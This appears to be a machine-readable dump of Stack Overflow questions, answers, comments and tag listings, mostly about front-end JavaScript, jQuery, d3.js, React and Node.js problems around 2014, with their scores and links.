comment on: http://stackoverflow.com/q/25722087

http://stackoverflow.com/comment/40244973
type: QuestionComment
comment on: http://stackoverflow.com/q/25739027
has text: 1) What is your Worklight version+build? 2) How did you set-up the permissions?
score: 0
type: Comment

http://stackoverflow.com/q/25785380
accepted answer: http://stackoverflow.com/a/25785592
downvote count: 0
tagged with: javascript
has comment: http://stackoverflow.com/comment/40328207
tagged with: jquery
has comment: http://stackoverflow.com/comment/40328120
has body: I have some text area and a table which I want to change after key pressed in text area. $("#fioFilter").keydown(function(e){ $.cookie("fioFilter",$("#fioFilter").val()); }); $("#fioFilter").keyup(function(e){ window.location.reload(); }); This is my solution. This doesn't works as I want. If I hold key pressed some time it saves in cookies and then reloads. But if I just press one time on key. It reloads and returns old value. What's the problem? http://jsfiddle.net/d6fpfzsu/
has comment: http://stackoverflow.com/comment/40328160
type: AnsweredQuestion
score: 2
favorite count: 0
has comment: http://stackoverflow.com/comment/40328097
type: Question
upvote count: 2
answer count: 1
has answer: http://stackoverflow.com/a/25785592
has title: Save value from text area in cookie and then reload page
tagged with: cookies

http://stackoverflow.com/q/25820335
has body: I am trying to create a dynamic x-Axis time scale by checking my current zoom scale. It works on first load, but if I subsequently try to zoom in or out of the chart, my x-Axis doesn't response although I have declared the variable as a function and expect it to return the appropriate scale and axis every time a zoom action is called. My code below. Thank you in advance. d3.csv('data/sample.csv', function (data) { // sort out the data we'll be using data.forEach(function (d) { d.date = new Date(d.dateTime); d.Ranking = +d.weight; }); // define the boundaries of the svg canvas var margin = {top : 30, right : 45, bottom : 30, left : 45}, width = window.innerWidth - margin.left - margin.right, height = window.innerHeight - margin.top - margin.bottom; // define the scale for each axis var interval = 'hours'; var xScale = d3.time.scale() .domain([d3.min(data, function (d) { return d.date; }), d3.max(data, function (d) { return d.date; })]) .range([0, width]) .nice(); var xDaysScale = d3.time.scale() .domain([new Date(2014, 7, 1), new Date(2014, 7, 6)]) .range([0, width]) .nice(); var xWeeksScale = d3.time.scale() .domain([new Date(2014, 7, 1), new Date(2014, 7, 31)]) .range([0, width]) .nice(); var xMonthsScale = d3.time.scale() .domain([new Date(2014, 7, 1), new Date(2015, 0, 1)]) .range([0, width]) .nice(); var yScale = d3.scale.linear().domain([0, 5]).range([height, 0]).nice(); // define the axes var xAxis = d3.svg.axis() .scale(xScale) .ticks(d3.time.hours, 1) .orient('bottom'); var yAxis = d3.svg.axis().scale(yScale).orient('left'); // define the zoom behavior var zm = d3.behavior.zoom() .x(xScale) .scaleExtent([.1, 1024]) .on('zoom', zoom); // initialize the tooltip, and append it to the body var tooltip = d3.select('body') .append('div') .attr('class', 'tooltip') .attr('id', 'tooltip') .style('opacity', 0); // initialize the chart var svg = d3.select('.graph') .attr('width', width + margin.left + margin.right) .attr('height', height + margin.top + margin.bottom) .…
has answer: http://stackoverflow.com/a/25959658
has title: Update X-axis via zoom scale
score: 0
answer count: 2
tagged with: javascript
accepted answer: http://stackoverflow.com/a/25959658
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/25820757
tagged with: d3.js
has answer: http://stackoverflow.com/a/25820757
type: Question

http://stackoverflow.com/comment/40331267
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/25787094
type: Comment
has text: @Unnie:I needed to call the same `displayRecords()` on the page loading without that clientName value assigned , so I put that function in document.ready function, and tried to assign the clientName on clicking the submit button. Now I found out , that simply calling the function will call the function on page loading.

http://stackoverflow.com/comment/40284196
score: 0
type: Comment
has text: Looks like your coffee code has sth wrong, but I do not use coffee. In js I often define a Ctrl like `var IndexCtrl = ['$scope', function($scope){ $scope.title = 'WWAAAAAAA' }]` and this works.
type: AnswerComment
comment on: http://stackoverflow.com/a/25756810

http://stackoverflow.com/comment/128787947
type: Comment
type: QuestionComment
has text: Is it possible that these buttons don't allow interception since that would allow an app to "lock" the browser on a page?
comment on: http://stackoverflow.com/q/25806608
score: 3

http://stackoverflow.com/a/25834776
type: Answer
has body: Yes, it is possible if you notify user if user tries to close page before your ajax completes: var ajaxCompleted = false; window.onbeforeunload = function() { if (!ajaxCompleted) { return 'This page is still loading, please don\'t close it!'; } }; makeAjaxCall(function() { ajaxCompleted = true; });
score: 0
has comment: http://stackoverflow.com/comment/40418572
answers question: http://stackoverflow.com/q/25834694

http://stackoverflow.com/a/25732081
has comment: http://stackoverflow.com/comment/40232769
type: Answer
has comment: http://stackoverflow.com/comment/40242385
upvote count: 2
accepted answer of: http://stackoverflow.com/q/25731871
score: 2
answers question: http://stackoverflow.com/q/25731871
has comment: http://stackoverflow.com/comment/40232801
has comment: http://stackoverflow.com/comment/40233180
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/40232906
has body: You can use the Inspect Element tool from Chrome to help you identify which types of calls clicking the table button will trigger. And you can easily retrieve those data using this ajex call. http://www.si-vitifrance.com/docs/cvi/cvi13/cartes_inter/c_vin01_coop_com07/embfiles/th0.xml Then you can start parsing the html from there. To parse xml or html, the XML will be a useful tool. Here is a POC of how to get the title based on the xpath of the element you want. &gt; library(XML) &gt; library(RCurl) &gt; url &lt;- "http://www.si-vitifrance.com/docs/cvi/cvi13/cartes_inter/c_vin01_coop_com07/embfiles/th0.xml" &gt; doc = htmlTreeParse(url, useInternalNodes = T) &gt; title &lt;- xpathSApply(doc, "//title[@id='titth0']", fun=xmlValue) &gt; title [1] "Quantité livrée à la cave coopérative (hl)" Python BeautifulSoup for scraping: from bs4 import BeautifulSoup import urllib2 url = "http://www.si-vitifrance.com/docs/cvi/cvi13/cartes_inter/c_vin01_coop_com07/embfiles/th0.xml" soup = BeautifulSoup(urllib2.urlopen(url)) f0s = soup.find_all('f0') for f0 in f0s: print f0.text Output: Commune 07- BOURG-SAINT-ANDEOL 07- VILLENEUVE-DE-BERG 07- LABLACHERE ... 07- BERRIAS-ET-CASTELJAU 07- BESSAS

http://stackoverflow.com/a/25796843
score: 0
has comment: http://stackoverflow.com/comment/40350038
type: Answer
has body: The invalid hex is in group 1 # /(?:-amp;|&amp;)\#x(?![a-f0-9]{2}(?:[a-f0-9]{2})?;)([a-f0-9]*;?)/ (?: -amp; | &amp; ) \#x (?! [a-f0-9]{2} (?: [a-f0-9]{2} )? ; ) ( # (1 start) [a-f0-9]* ;? ) # (1 end)
answers question: http://stackoverflow.com/q/25796289
accepted answer of: http://stackoverflow.com/q/25796289
has comment: http://stackoverflow.com/comment/40349874
has comment: http://stackoverflow.com/comment/40350091
has comment: http://stackoverflow.com/comment/40350678
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/40350126
has comment: http://stackoverflow.com/comment/40350387

http://stackoverflow.com/comment/40487554
comment on: http://stackoverflow.com/a/25870585
has text: I tried this but I still get the same. On opening editform first time for rowedit it displays tinymce perfectly only that I cannot add text to modal link editor as display in pic shows, it is inserted to editform project field. But after I open second time plain textarea box displayed.
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/40330786
score: 1
has text: the issue is you cannot return from ajax function values
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25786453

http://stackoverflow.com/a/25868583
has body: In your server.js, setup your server as follows: // Module dependencies. var application_root = __dirname, express = require("express"), // Web framework path = require("path"), // Utilities for dealing with file paths mongoose = require('mongoose'); // MongoDB integration //Create server var app = express.createServer(); // Configure server app.configure(function () { app.use(express.bodyParser()); // parses request body and populates req.body app.use(express.methodOverride()); // checks req.body for HTTP method overrides app.use(app.router); // perform route lookup based on url and HTTP method app.use(express.static(path.join(application_root, "public"))); // Where to serve static content app.use(express.errorHandler({ dumpExceptions:true, showStack:true })); // Show all errors in development }); //Start server app.listen(4711, function () { console.log("Express server listening on port %d in %s mode", app.address().port, app.settings.env); }); // Connect to database mongoose.connect('mongodb://localhost/library_database'); //Schemas var Book = new mongoose.Schema({ title:String, author:String, releaseDate: Date }); //Models var BookModel = mongoose.model('Book', Book); Try creating the delete route as follows: app.delete('/api/books/:id', function(req, res){ console.log('Deleting book with id: ' + req.params.id); return BookModel.findById(req.params.id, function(err, book){ return book.remove(function(err){ if(!err){ console.log('Book removed'); return res.send(''); } else { console.log(err); } }); }); }); And test it via AJAX: $.ajax({ url:'/api/books/5417ff846b205d9c05000001', type: 'DELETE', success:function(data, textStatus, jqXHR){ console.log("Post resposne:"); console.dir(data); console.log(textStatus); console.dir(jqXHR); } });
has comment: http://stackoverflow.com/comment/40480840
type: Answer
has comment: http://stackoverflow.com/comment/40481207
score: 1
has comment: http://stackoverflow.com/comment/40480353
upvote count: 1
has comment: http://stackoverflow.com/comment/40480035
accepted answer of: http://stackoverflow.com/q/25868304
has comment: http://stackoverflow.com/comment/40480174
answers question: http://stackoverflow.com/q/25868304
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/a/25784043
has body: Try defining the second .wav as a JS varibale, then setting a timeout for its trigger, so that once the first one has finished, the second one will begin. Once you have done that, you just need to write the loop code for the second .wav.
type: Answer
score: 0
answers question: http://stackoverflow.com/q/25783810

http://stackoverflow.com/comment/40257250
has text: ugh!! t.content should not be empty! Thank you so much. I should have read the doc of appendChild once more carefully.
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25746248

http://stackoverflow.com/comment/40325670
type: QuestionComment
has text: @Esa I'm not sure, but a google images search for "popover" made me hungry.
score: 2
comment on: http://stackoverflow.com/q/25783864
type: Comment

http://stackoverflow.com/comment/40459822
type: Comment
has text: In your XHR what do you see as the value of Content-Type (last screeenshot) ?
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/25809803

http://stackoverflow.com/comment/40472715
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25850268
has text: Can you not link to derelict libraries please? The last time this was updated was on 3/7/2010

http://stackoverflow.com/q/25843418
has body: I have a file input with multiple attribute I want when user select multiple file in this control split those files and create multiple file input with each one having only one of those files selected. This allow a user to select multiple files at once but delete them individually if he wants. Beside i want to ajax upload those files one by one while allowing user to cancel any of those file being uploaded. any idea.
tagged with: file-upload
has answer: http://stackoverflow.com/a/25843513
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/31478394
tagged with: multiple-file-upload
type: Question
score: 0
answer count: 2
has title: How to create multiple file input from a single multi select file input
tagged with: upload
tagged with: javascript
linked to: http://stackoverflow.com/q/24089247
has comment: http://stackoverflow.com/comment/40434974

http://stackoverflow.com/q/25861336
accepted answer: http://stackoverflow.com/a/25861361
tagged with: jquery
has comment: http://stackoverflow.com/comment/40467320
favorite count: 0
duplicate of: http://stackoverflow.com/q/750486
has comment: http://stackoverflow.com/comment/40467306
type: AnsweredQuestion
upvote count: 1
has body: Script: for (var i = 0; i &lt; products.length; i++) { for (var j = 0; j &lt; products.length; j++) { $(document).on('change', $(products[i][j].checkbox) , function () { products[i][j].checked ? products[i][j].checked = false : products[i][j].checked = true; }; } } How I cant get products[i][j] in my event function?
downvote count: 1
linked to: http://stackoverflow.com/q/750486
has answer: http://stackoverflow.com/a/25861361
type: Question
has comment: http://stackoverflow.com/comment/40467294
tagged with: javascript
has title: How to reference a looped element inside a jQuery event
score: 0
answer count: 1

gruntjs
tags question: http://stackoverflow.com/q/25860564
tags question: http://stackoverflow.com/q/25768232
tags question: http://stackoverflow.com/q/25780003
tags question: http://stackoverflow.com/q/25869804
tags question: http://stackoverflow.com/q/25867586
tags question: http://stackoverflow.com/q/25738501
tags question: http://stackoverflow.com/q/25762519
tags question: http://stackoverflow.com/q/25779768
tags question: http://stackoverflow.com/q/25826871
tags question: http://stackoverflow.com/q/25751045
tags question: http://stackoverflow.com/q/25856218
tags question: http://stackoverflow.com/q/25832006
tags question: http://stackoverflow.com/q/25769647
tags question: http://stackoverflow.com/q/25822583
tags question: http://stackoverflow.com/q/25839076
type: Tag
tags question: http://stackoverflow.com/q/25844447
tags question: http://stackoverflow.com/q/25752575
tags question: http://stackoverflow.com/q/25836757
tags question: http://stackoverflow.com/q/25744180
tags question: http://stackoverflow.com/q/25811632
tags question: http://stackoverflow.com/q/25854002
tags question: http://stackoverflow.com/q/25745794
tags question: http://stackoverflow.com/q/25776433
tags question: http://stackoverflow.com/q/25779314
tags question: http://stackoverflow.com/q/25742448
tags question: http://stackoverflow.com/q/25749481
tags question: http://stackoverflow.com/q/25857876
tags question: http://stackoverflow.com/q/25792737
tags question: http://stackoverflow.com/q/25829764
tags question: http://stackoverflow.com/q/25826022
tags question: http://stackoverflow.com/q/25803551
tag name: gruntjs
tags question: http://stackoverflow.com/q/25775318

http://stackoverflow.com/comment/126549065
has text: thanks, this worked for me.., I'm importing multiple jquery libs : `ajax.googleapis.com/ajax/libs/jquery/`, and `code.jquery.com/jquery-3.6.0`
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/62137110

http://stackoverflow.com/comment/40243602
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25737591
has text: Wow! I didn't even know about currying. So I can define the higher order function like so: hof(val, fn) {return fn(val)}, and call it like so: hof(val, curry(myFunc)(arg1, arg2, arg3)). That is indeed a much more elegant solution!
type: AnswerComment

http://stackoverflow.com/a/25831541
has body: For every game you want to make, your gameLoop should contain game logic like this (and in advance: GameAlchemist is right, everything should be redrawn every frame): Clear the whole canvas Draw background elements (don't use expensive calls, simply draw an image. If you have a lot of drawn elements, such as shapes, lines, etc., make sure to buffer this first on f.e. another, hidden canvas) Draw more static (background) elements if you want to, that don't change position (f.e. walls) Draw dynamic elements (your Hero, enemies, bullets, etc.) Think of all these steps as layers (as in f.e. Photoshop) and make sure to do it in the right order. This cheat sheet is very helpful. Also, instead of setInterval, start using requestAnimationFrame. See f.e. this link. PS Please don't beg for code, in the way you do. Experiment, try, fail, and try again. Then you will learn. Not by asking for gift wrapped pieces of code.
answers question: http://stackoverflow.com/q/25828160
downvote count: 0
type: Answer
score: 1
upvote count: 1

http://stackoverflow.com/q/25857163
tagged with: css
type: AnsweredQuestion
type: Question
has answer: http://stackoverflow.com/a/25857288
tagged with: javascript
accepted answer: http://stackoverflow.com/a/25857288
score: 0
has body: I modify the css of the menu with javascript. I try to avoid from "overflow: scroll". "position: fixed" for menu when its content height is less than document height. Else I set "position: absolute" and set height as document height. It works as how I want. Is it possible to do this only with @media queries? Thanks
answer count: 1
has title: Menu position relative to document height with media query

http://stackoverflow.com/comment/40372758
score: 0
type: AnswerComment
has text: Yeh I considered that - although I found resolve a bit complicated. The main thing was that I didn't want to have to do that for every route. Eventually there may be hundreds of routes, so I wanted a quicker and simpler way to to it.
type: Comment
comment on: http://stackoverflow.com/a/25810009

http://stackoverflow.com/q/25762297
tagged with: http://stackoverflow.com/tag/html
has body: The bellow code works fine how to clear the div area when another menu i clicked when i click mobile it should display mobile and when i click electronics it should display electronics ERROR IN MY CODE when i click mobile it display mobile when i click electronics it display electronics BUT - its not clearing the previous clicked value FULL CODE Blueprint: Vertical Icon Menu Head mobile electroics vehicle home display mobiles electronics vehicles home Footer
has answer: http://stackoverflow.com/a/25762521
has comment: http://stackoverflow.com/comment/40286117
has comment: http://stackoverflow.com/comment/40286291
has comment: http://stackoverflow.com/comment/40286289
linked to: http://stackoverflow.com/q/25759239
tagged with: css
has answer: http://stackoverflow.com/a/25762440
possible better answer: http://stackoverflow.com/a/25762521
type: AnsweredQuestion
has title: display menu in another div using javascript error
type: Question
answer count: 2
accepted answer: http://stackoverflow.com/a/25762440
tagged with: javascript
tagged with: jquery
has comment: http://stackoverflow.com/comment/40286103
has comment: http://stackoverflow.com/comment/40286351
score: 0

http://stackoverflow.com/a/25872006
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/25871943
type: Answer
downvote count: 0
has body: Depending in where your code is placed in the page, the DOM is not ready yet (so the $('#created') selector does not return a match). Add a DOM ready handler around your code: &lt;script&gt; $(function(){ $('#created').datepicker(); }); &lt;/script&gt; Note: $(function(){yourcode}); is a shortcut for $(document).ready(function(){yourcode});

http://stackoverflow.com/comment/40308028
score: 0
comment on: http://stackoverflow.com/q/25773957
type: Comment
type: QuestionComment
has text: Asked and answered on here already. Please search before asking. http://stackoverflow.com/questions/1310378/determining-image-file-size-dimensions-via-javascript

http://stackoverflow.com/a/25714655
score: 0
answers question: http://stackoverflow.com/q/25714488
type: Answer
has body: http://jsfiddle.net/sxXn2/1946/ It that how you'd like it work? It's about that string: $('.linkclass').click(function () { $(".more-link").click() }); $('.more-link') select each link with that class in document. In your case you should go like: $(this).next().find(".more-link").click();

http://stackoverflow.com/comment/40273738
type: Comment
comment on: http://stackoverflow.com/a/25755050
type: AnswerComment
has text: ill test your code even though mine works and will mark it correct if it works.. thanks for the awesome answer regardless
score: 0

http://stackoverflow.com/q/25825109
downvote count: 0
tagged with: javascript
has title: What's the difference between 'function foo (callback)' and 'foo(arg1, arg2, function(err,data))'?
has body: I am a beginner to nodejs. I have downloaded the learnyounode module from nodeschool.io and I am trying to do the Make it modular exercise from it. At the end of the exercise they have mentioned this: Also keep in mind that it is idiomatic to check for errors and do early-returns within callback functions: function bar (callback) { foo(function (err, data) { if (err) return callback(err) // early return // ... no error, continue doing cool things with `data` // all went well, call callback with `null` for the error argument callback(null, data) }) } Whenever I have tried to understand callback functions they were of the form: foo(arg1, arg2, function(err,data){ if(err) //Handle it //Do something with data }); I am having a hard time understanding the difference between the two. I google-d for it, but honestly, there were some pages explaining the first callback style while there are some pages explaining the second one. I know that in the second style the function(err, data) is called asynchronously. My understanding by "asynchronously" is that foo is called with arg1 and arg2. When "foo" is completed function(err,data) is called. However I don't get the function bar (callback) notation. Both of them are doing callbacks then what's the difference between them? Which notation should I use to solve my problem exercise? How do you decide which one to use and when?
answer count: 1
accepted answer: http://stackoverflow.com/a/25825147
tagged with: callback
favorite count: 0
has comment: http://stackoverflow.com/comment/40400939
tagged with: node.js
type: AnsweredQuestion
score: 1
upvote count: 1
has answer: http://stackoverflow.com/a/25825147
type: Question

http://stackoverflow.com/comment/40467295
type: Comment
comment on: http://stackoverflow.com/a/25859679
has text: Yes, you can still use the two images in each div, rather than one. I've updated the code above to reflect that. That wasn't the part that was causing it to fail. It was the bits Fabio indicated.
score: 0
type: AnswerComment

http://stackoverflow.com/comment/40898198
type: AnswerComment
comment on: http://stackoverflow.com/a/26094470
type: Comment
has text: Hi, The thing is I have different classes but I can't use ur answer bcoz for each class am passing a different parameter. .delete1 is inside the li so I can pass the parent li. But .delete2 is totally inside another div. I am passing the current selected li tag, by storing it in another variable
score: 0

http://stackoverflow.com/a/25761130
has comment: http://stackoverflow.com/comment/40284541
has comment: http://stackoverflow.com/comment/40284670
type: Answer
upvote count: 3
score: 3
answers question: http://stackoverflow.com/q/25761058
downvote count: 0
has body: Take a look at the onpaste event in javascript, you can get the clipboard text in the function you assign to the onpaste event, and process it accordingly. To get clipboard text in the onpaste function, you can use window.clipboardData.getData('Text') and if the length is greater than 255 it means it has been trimmed and you can display your message to the user. Maybe this link can help too. JavaScript get clipboard data on paste event (Cross browser)

http://stackoverflow.com/q/25755279
type: Question
answer count: 2
has answer: http://stackoverflow.com/a/25755498
tagged with: javascript
favorite count: 0
has comment: http://stackoverflow.com/comment/40273975
has body: I have RE like this: /([a-zA-Z0-9._-]+@[a-zA-Z0-9._-]+\.[a-zA-Z0-9._-]+)/gi to find emails, now I need regular expression to also find emails like this: a.p.agarwaal AT gmail DOT com a.p.agarwaal (at) gmail.com a.p.agarwaal_AT_gmail_DOT_com
possible better answer: http://stackoverflow.com/a/25755498
has comment: http://stackoverflow.com/comment/40274362
tagged with: regex
has comment: http://stackoverflow.com/comment/40274079
upvote count: 0
downvote count: 5
has comment: http://stackoverflow.com/comment/40275460
has answer: http://stackoverflow.com/a/25755349
accepted answer: http://stackoverflow.com/a/25755349
type: AnsweredQuestion
score: -5
has comment: http://stackoverflow.com/comment/40274054
has title: Regular Expressions for JavaScript not normal emails

http://stackoverflow.com/comment/40275826
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25756059
has text: Wait...alert box doesn't even appear or it does appear but it is empty? Which one?
score: 0

http://stackoverflow.com/comment/40297185
comment on: http://stackoverflow.com/q/25767550
has text: I don't think that's default behavior, and seems tied to an option you've enabled in FF. Do you think it's worthwhile to "fix" an "issue" that will only affect a very small portion of users who modify default behaviors?
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/a/25799024
upvote count: 2
has body: Maybe you have two elements with the same ID, so the jQuery is removing the first one and then the second (the one you want to remove). To solve this you could change the element's ID or try this code: $('#divCont').find('#cancelbtn').remove();
type: Answer
has comment: http://stackoverflow.com/comment/40353794
accepted answer of: http://stackoverflow.com/q/25798949
score: 2
answers question: http://stackoverflow.com/q/25798949
has comment: http://stackoverflow.com/comment/40353883
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/40353790
has comment: http://stackoverflow.com/comment/40353814

http://stackoverflow.com/comment/40390537
type: QuestionComment
comment on: http://stackoverflow.com/q/25818976
has text: What is a 'dot cookie' (in your title)?
score: 0
type: Comment

http://stackoverflow.com/comment/40443937
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25840907
has text: Everything shows up correctly however it doesn't behave correctly. The origin around which the knob rotates is not where it should be.

drag-and-drop
tags question: http://stackoverflow.com/q/25836507
tags question: http://stackoverflow.com/q/25733845
tags question: http://stackoverflow.com/q/25733457
tags question: http://stackoverflow.com/q/25855312
tag name: drag-and-drop
tags question: http://stackoverflow.com/q/25767980
tags question: http://stackoverflow.com/q/25862489
tags question: http://stackoverflow.com/q/25714223
tags question: http://stackoverflow.com/q/25762634
tags question: http://stackoverflow.com/q/25788885
tags question: http://stackoverflow.com/q/25851579
tags question: http://stackoverflow.com/q/25727662
tags question: http://stackoverflow.com/q/25858744
type: Tag

http://stackoverflow.com/comment/40285723
has text: Adding a note : How to display the values in the table odd value in the first col,even value in the second col respectively .
comment on: http://stackoverflow.com/q/25761856
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/25814123
type: AnsweredQuestion
downvote count: 0
score: 1
has comment: http://stackoverflow.com/comment/40389821
accepted answer: http://stackoverflow.com/a/25818062
favorite count: 0
type: Question
has title: Dynamic children navigation in React.js (propagating events and properties)
upvote count: 1
answer count: 1
has comment: http://stackoverflow.com/comment/40401290
has comment: http://stackoverflow.com/comment/40421146
tagged with: javascript
has answer: http://stackoverflow.com/a/25818062
tagged with: reactjs
has body: One thing I'm still struggling with in React.js is the proper way to handle child event and property propagation. There are many examples of this being done already, but the implementations are always vastly different. Surely, there is a "right way" to do it... The task is to create a "Nav" component which is made up of "NavItem" components. Below is the code that I am expecting to work, but it doesn't. The comments explain where I'm having issues. Please advise on the best solution and let me know what I'm doing wrong. Nav.jsx var Nav = React.createClass({ propTypes: { active: React.PropTypes.string, onSelect: React.PropTypes.func }, getInitialState: function () { return { active: this.props.active }; }, render: function () { return this.transferPropsTo( &lt;nav&gt; {this.props.children.map(this.renderChild)} &lt;/nav&gt; ); }, renderChild: function (child, i) { // Here I want to generate a unique 'key' property for each child as well // as define a custom onSelect method which will tell the "Nav" component which is // the active key. return React.addons.cloneWithProps(child, { // Here I want to use the 'active' property of the Nav component to drive the // the 'active' property of the child. active: this.state.active === i ? true, false, key: i, onSelect: this.handleSelect }); }, handleSelect: function (event, component) { // PROBLEM: Here I want to get the 'key' property of the child. But there seems to be // no way to do this. var _child_key_ = 'impossible'; this.setState({active: _child_key_}); } }); NavItem.jsx var NavItem = React.createClass({ propTypes: { active: React.PropTypes.string, onSelect: React.PropTypes.func }, getInitialState: function () { return { active: this.props.active }; }, render: function () { return this.transferPropsTo( &lt;a className="{this.state.active ? 'active' : ''}" onClick={this.handleSelect}&gt; {this.props.label} &lt;/a&gt; ); }, handleSelect: function (event, component) { // Propagate the event up to the parent event property.…

http://stackoverflow.com/comment/40457462
has text: The test page I use is http://jsbin.com/ogudon/1 .
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25855737

http://stackoverflow.com/comment/40341163
has text: Are we allowed to change the initial definition of `m` in this game? Or does it have to stay the way you have it above?
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25792212

http://stackoverflow.com/a/66515641
has comment: http://stackoverflow.com/comment/118537347
has comment: http://stackoverflow.com/comment/139187503
has body: Instead of using ondoubleclick, you can use event.detail to get the current click count. It's the number of time the mouse's been clicked in the same area in a short time. const handleClick = (e) => { switch (e.detail) { case 1: console.log("click"); break; case 2: console.log("double click"); break; case 3: console.log("triple click"); break; } }; return Click me ; In the example above, if you triple click the button it will print all 3 cases: click double click triple click Live Demo
has comment: http://stackoverflow.com/comment/125298587
answers question: http://stackoverflow.com/q/25777826
has comment: http://stackoverflow.com/comment/130076203
has comment: http://stackoverflow.com/comment/128964368
has comment: http://stackoverflow.com/comment/118537287
has comment: http://stackoverflow.com/comment/120505946
has comment: http://stackoverflow.com/comment/126020713
upvote count: 76
downvote count: 1
type: Answer
score: 75

http://stackoverflow.com/a/25720527
has comment: http://stackoverflow.com/comment/40210923
has body: You need to find the input with id 'evtid' in closest div of currently clicked ack button. Example: $(document).on('click','.submitButton',function(e){ e.preventDefault(); debugger var $this = $(this); var curEventId = $this.closest('div').find('#evtid'); var getvalues = curEventId.val(); alert(getvalues); return false; }); You can also use closest form instead of div. var curEventId = $this.closest('form').find('#evtid');
has comment: http://stackoverflow.com/comment/40210471
has comment: http://stackoverflow.com/comment/40213260
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/40215093
has comment: http://stackoverflow.com/comment/40215004
has comment: http://stackoverflow.com/comment/40210117
score: 0
has comment: http://stackoverflow.com/comment/40209084
answers question: http://stackoverflow.com/q/25720239
has comment: http://stackoverflow.com/comment/40209253
accepted answer of: http://stackoverflow.com/q/25720239
type: Answer

http://stackoverflow.com/q/25789086
type: Question
score: 3
accepted answer: http://stackoverflow.com/a/25869330
tagged with: xml-serialization
tagged with: http://stackoverflow.com/tag/svg
tagged with: d3.js
upvote count: 3
answer count: 1
has title: Save svg to disk as png image - browser discrepancy
has answer: http://stackoverflow.com/a/25869330
type: AnsweredQuestion
tagged with: firefox
has body: I am trying to save to a file, as a png image, an svg plot that was created with d3.js. This code works fine on Chrome (saves the file to disk) but fails on Firefox 32. Any ideas why? $(".savePNG").click (function() { var svg = ($("#svgContainer")[0]).getElementsByTagName("svg")[0]; var svg_xml = (new XMLSerializer).serializeToString(svg); // extract the data as SVG text var data_uri = "data:image/svg+xml;base64," + window.btoa(svg_xml); var image = new Image; image.src = data_uri; image.onload = function() { var canvas = document.createElement("canvas"); canvas.width = image.width; canvas.height = image.height; var context = canvas.getContext("2d"); context.clearRect(0, 0, image.width, image.height); context.drawImage(image, 0, 0); var a = document.createElement("a"); a.download = "file.png"; a.href = canvas.toDataURL("image/png"); a.click (); }; }); If it provides any clue console.log (svg_xml.length + " " + data_uri.length); on Chrome returns 3501304 4668434 and on Firefox 3060753 4081030. So it would seem that Firefox is missing some data but I don't know what to make of it.
downvote count: 0
tagged with: javascript
favorite count: 0
has comment: http://stackoverflow.com/comment/40354157

http://stackoverflow.com/comment/40435300
type: Comment
type: QuestionComment
has text: @Xan: Yes. Isn't it what this site if for? I obviously put an effort to research and ask only when I run into a dead-end.
score: 0
comment on: http://stackoverflow.com/q/25840674

http://stackoverflow.com/comment/40264212
type: AnswerComment
has text: @PrestonS do you mean that it doesn't terminate javascript that is in the middle of execution, or that it doesn't prevent scripts that would be loaded later on from loading? i interpreted the question as asking for the latter.
comment on: http://stackoverflow.com/a/25748888
type: Comment
score: 0

http://stackoverflow.com/comment/40211940
comment on: http://stackoverflow.com/q/25721934
score: 0
has text: @Donal thanks. Why am I getting this error now? `SyntaxError: missing name after . operator`
type: Comment
type: QuestionComment

http://stackoverflow.com/q/25757457
tagged with: http://stackoverflow.com/tag/html
has body: I have ten drop down menu namely One Two One Two an so on... My requirement is that, if the user selects any option from any dropdown then that option must be disabled in all the dropdown. For example, if the user selects Two from dropdownmenu3, then in all the dropdowns the option Two must be disabled. How do i achieve this in jquery?
has title: Disable dropdown menu
has answer: http://stackoverflow.com/a/25757510
type: Question
has answer: http://stackoverflow.com/a/25757933
has answer: http://stackoverflow.com/a/25757530
tagged with: javascript
has answer: http://stackoverflow.com/a/25758107
score: 0
tagged with: drop-down-menu
tagged with: jquery
has answer: http://stackoverflow.com/a/25757575
answer count: 5
type: UnansweredQuestion

http://stackoverflow.com/a/49859412
answers question: http://stackoverflow.com/q/25724510
type: Answer
has body: before these code, i added custom field "_pro_pack_box" and "_pro_pcs_pack". you can see this article. // Simple products add_filter( 'woocommerce_quantity_input_args', 'jk_woocommerce_quantity_input_args', 10, 2 ); function jk_woocommerce_quantity_input_args( $args, $product ) { $pack_box = get_post_meta($product-&gt;post-&gt;ID, "_pro_pack_box", true); $pcs_pack = get_post_meta($product-&gt;post-&gt;ID, "_pro_pcs_pack", true); //if ( is_singular( 'product' ) ) { // $args['input_value'] = 2; // Starting value (we only want to affect product pages, not cart) //} //$args['max_value'] = 80; // Maximum value $args['min_value'] = $pcs_pack; // Minimum value $args['step'] = $pcs_pack; // Quantity steps return $args; } // Variations add_filter( 'woocommerce_available_variation', 'jk_woocommerce_available_variation' ); function jk_woocommerce_available_variation( $args ) { //$args['max_qty'] = 80; // Maximum value (variations) $args['min_qty'] = $pcs_pack; // Minimum value (variations) return $args; }
score: 1
upvote count: 1
downvote count: 0

http://stackoverflow.com/q/25787166
has comment: http://stackoverflow.com/comment/40333924
has comment: http://stackoverflow.com/comment/40331071
has answer: http://stackoverflow.com/a/25787818
